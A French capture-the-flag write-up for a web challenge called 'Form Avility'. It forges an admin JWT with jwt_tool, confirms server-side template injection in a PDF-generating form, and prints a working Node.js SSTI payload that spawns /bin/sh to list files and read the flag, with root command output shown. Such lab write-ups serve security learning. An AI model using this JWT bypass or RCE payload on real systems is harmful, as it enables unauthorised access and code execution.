Form Avility
On a une page avec un formulaire de sondage, mais qui n’a pas l’air très utile.
Et un formulaire de connexion et d’inscription.
En s’inscrivant on reçoit un JWT, on tente de crack le mot de passe mais non.
On va donc s’intéressé aux exploits connus grâce à jwt_tool.
On obtient le bon cookie avec cette commande, et en modifiant le role par « admin » :
python3 jwt_tool.py -X b -T "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzUwNTM0NDkwNjQ1LCJhZ2VudCI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NTA1MzQ0OTF9.DNFgKveOoPA08splrsZ37W0L7bqoi9XWBsBAsA6-Qh0"
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzUwNTM0NDkwNjQ1LCJhZ2VudCI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzUwNTM0NDkxfQ.0MJw_Emrt735FHd6sq4-TDt3ZQoLUbOFIvlQhBCjC1o
On a donc maintenant accès à un nouveau formulaire sur /name_form
Ce formulaire génère un fichier pdf avec le contenu envoyé.
On a surement une XSS Server side : https://medium.com/r3d-buck3t/xss-to-exfiltrate-data-from-pdfs-f5bbb35eaba7
Cependant cela ne fonctionne pas.
On va tester la SSTI avec le fameux :
{{7*7}}
On obtient alors 49 dans le nom !
Il ne reste plus qu’a trouver le bon payload.
{{'a'.toUpperCase()}}
==> A
{{ (function(){return 1337})() }}
==> 1337
{{ this.constructor.constructor('return process')().env }}
==> [object Object]
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
==> uid=0(root) gid=0(root) groups=0(root)
==> Dockerfile
==> docker-compose.yml
==> flag.txt
==> lib
==> node_modules
==> package-lock.json
==> package.json
==> server.js
==> views
On peut voir qu’il y a un fichier flag, il nous suffit de modifier le payload obtenu ici : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/JavaScript.md
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","cat flag.txt"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
SHLK{JwT_bYpaS5_2_RCe}
On a donc notre flag : SHLK{JwT_bYpaS5_2_RCe}